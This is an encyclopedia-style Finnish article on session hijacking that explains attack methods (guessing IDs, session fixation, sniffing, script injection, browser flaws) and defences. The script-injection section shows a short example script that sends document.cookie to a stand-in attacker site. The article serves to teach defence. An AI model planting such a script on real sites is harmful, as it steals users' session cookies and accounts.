**Istuntokaappaus** on metodi, jota käytetään palvelinohjelmia sisältäville web-sivustoille murtautumiseen. Istunnon kaappaaminen tarkoittaa, että hyökkääjä esiintyy toisena käyttäjänä käyttämällä tämän istuntotunnistetta. Web-sivusto erehtyy tällöin pitämään hyökkääjää luvallisena käyttäjänä ja antaa tämän käyttää sivustoa toisen käyttäjän oikeuksin. Katso Mies välissä -hyökkäys.

Erilaisia tapoja kaapata istunto
--------------------------------

### Istuntotunnisteen arvaaminen

Joissakin palveluissa istuntotunnisteet ovat ennalta arvattavia. Istuntotunniste saattaa esimerkiksi koostua käyttäjän kirjautumisnimestä ja/tai aikaleimasta sekä satunnaisluvusta. Tällainen istuntotunniste on helppo arvata tarkoitusta varten tehdyllä ohjelmistolla. Siksi onkin suositeltavaa käyttää käytetyn web-ohjelmointikielen sisäistä istunnonhallintaa, joka on yleensä turvallisempi.

### Istuntotunnisteen määrääminen

Joskus hyökkääjä voi itse määrätä käyttäjän istuntotunnisteen vihamielisellä linkillä. Mikäli istuntotunnistetta siirretään sivulta toiselle sivun URL-osoitteen mukana, saattaa hyökkääjä tehdä sivustolle linkin, johon hän liittää haluamansa istuntotunnisteen. Käyttäjän klikattua linkkiä, hän siirtyy sivustolle ja hänen istuntotunnisteekseen asetetaan hyökkääjän määrittämä tunnus. Jos käyttäjä kirjautuu sisään palveluun, voi hyökkääjä käyttää tämän istuntotunnusta. Web-sivusto luulee, että hyökkääjä on kirjautunut käyttäjä.

### Verkon kuuntelu

Langattomissa lähiverkoissa ja keskitinverkoissa hyökkääjän on mahdollista lukea toisille tietokoneille tarkoitettua viestiliikennettä, mikäli sitä ei ole salattu. Hyökkääjä voi etsiä toisen käyttäjän istuntotunnisteen tämän verkkoliikenteen seasta ja ottaa sen käyttöönsä.

### Vihamielisen koodin liittäminen

Joillakin sivustoilla käyttäjän antamia tietoja ei puhdisteta kunnolla. Hyökkääjän on silloin mahdollista liittää web-sivulle haluamiaan komentoja skriptikieltä käyttäen. Hän saattaisi vaikkapa kirjoittaa keskustelupalstalle viestin, joka sisältää seuraavan koodin:

```
<script type="text/javascript">
window.location = "http://www.hakkerinsivu.net/sivu.php?evaste=" + document.cookie;
</script>
```

Tämä melko viattoman näköinen koodi lähettää käyttäjän hakkerin tiedonkeräyssivuille mukanaan sivuun liittyvän evästeen sisältö. Koska istuntotunniste pidetään yleensä evästeessä, saa hyökkääjä sen tietoonsa.

### Selainten tietoturva-aukot

Joskus selaimissa esiintyy tietoturva-aukkoja, jotka sallivat web-sivuston lukea toisen web-sivuston evästeitä. Koska istuntotunniste pidetään yleensä evästeessä, saa hyökkääjä sen tietoonsa.

Istuntokaappauksilta suojautuminen
----------------------------------

Istuntokaappauksilta voi suojautua monin tavoin.

### Salaus

Tietoliikenteen salaaminen on suositeltavaa aina, kun verkon yli siirretään luottamuksellista tietoa. Istuntotunnisteet ja salasanat tulisi aina siirtää salattua yhteyttä pitkin. Usein salauksen käyttö ei kuitenkaan ole mahdollista resurssisyistä.

### IP-osoitteen tai muun tiedon toistuvuuden varmennus

Istunnon alussa voidaan tallentaa käyttäjän IP-osoite tai muu käyttäjän selaimen lähettämä tieto palvelimelle. Aina sivua ladattaessa voidaan verrata käyttäjän lähettämää tietoa aiemmin tallennettuun tietoon. Jos tieto on muuttunut, siitä voidaan päätellä, että käyttäjä ei ole sama kuin alkuperäinen.

Tämä metodi ei kuitenkaan ole täysin ongelmaton. Käyttäjän IP-osoite saattaa vaihdella jokaisella latauskerralla, mikäli tämän internet-operaattori on näin määrittänyt. Tämä muodostuu ongelmaksi muun muassa mobiiliverkkoyhteyttä käytettäessä.
Toisaalta käyttäjän IP tai mikä tahansa muu selaintieto on mahdollista väärentää. Lisäksi, mikäli hyökkääjä ja käyttäjä ovat saman välityspalvelimen takana, heidän IP-osoitteensa näyttää samalta.

### Istuntotunnuksen vaihtaminen kirjauduttaessa

Istuntotunnus tulisi aina vaihtaa kirjauduttaessa palveluun. Näin istuntotunnuksen määrääminen ennalta hyökkääjän luomalla linkillä ei enää onnistuisi. Mikäli nykyiset istuntomuuttujat halutaan säilyttää, tulisi ne siirtää uuteen istuntoon ja tuhota ne vanhasta.

### Ohjelmistojen päivittäminen

Selainten päivittäminen on tärkeää, jotta hyökkääjä ei voisi murtautua sivustolle sinun tunnuksillasi.

### Ohjelmointikielen sisäisen istunnonhallinnan käyttö

On suositeltavaa käyttää ohjelmointikielen sisäistä istunnonhallintaa, jos sellainen on saatavilla. Yleensä ohjelmointikielen sisäinen toteutus on turvallisempi. Jaetuilla palvelimilla ohjelmointikielen istunnonhallinta saattaa kuitenkin olla vaarallinen, jos web-sivustojen on mahdollista lukea istuntomuuttujien säilytyskansion tiedostoja. Tällöin toinen sivusto voi lukea sivusi istuntomuuttujia.

### Käyttäjän syötteen puhdistaminen

Käyttäjä ei koskaan saisi liittää html-koodia sivulle suoraan. Myös linkkien url-osoitteet tulisi tarkastaa, jotta ne eivät sisällä vihamielistä koodia. Jos sivustolla on esimerkiksi vieraskirja, saattaa hyökkääjä kirjoittaa www-osoite-kenttään scriptikoodia aloittamalla sen tekstillä "javascript:", tai lisätä siihen sitaatin, jonka jälkeen linkkiin on mahdollista liittää esimerkiksi skriptien tapahtumankäsittelijöitä.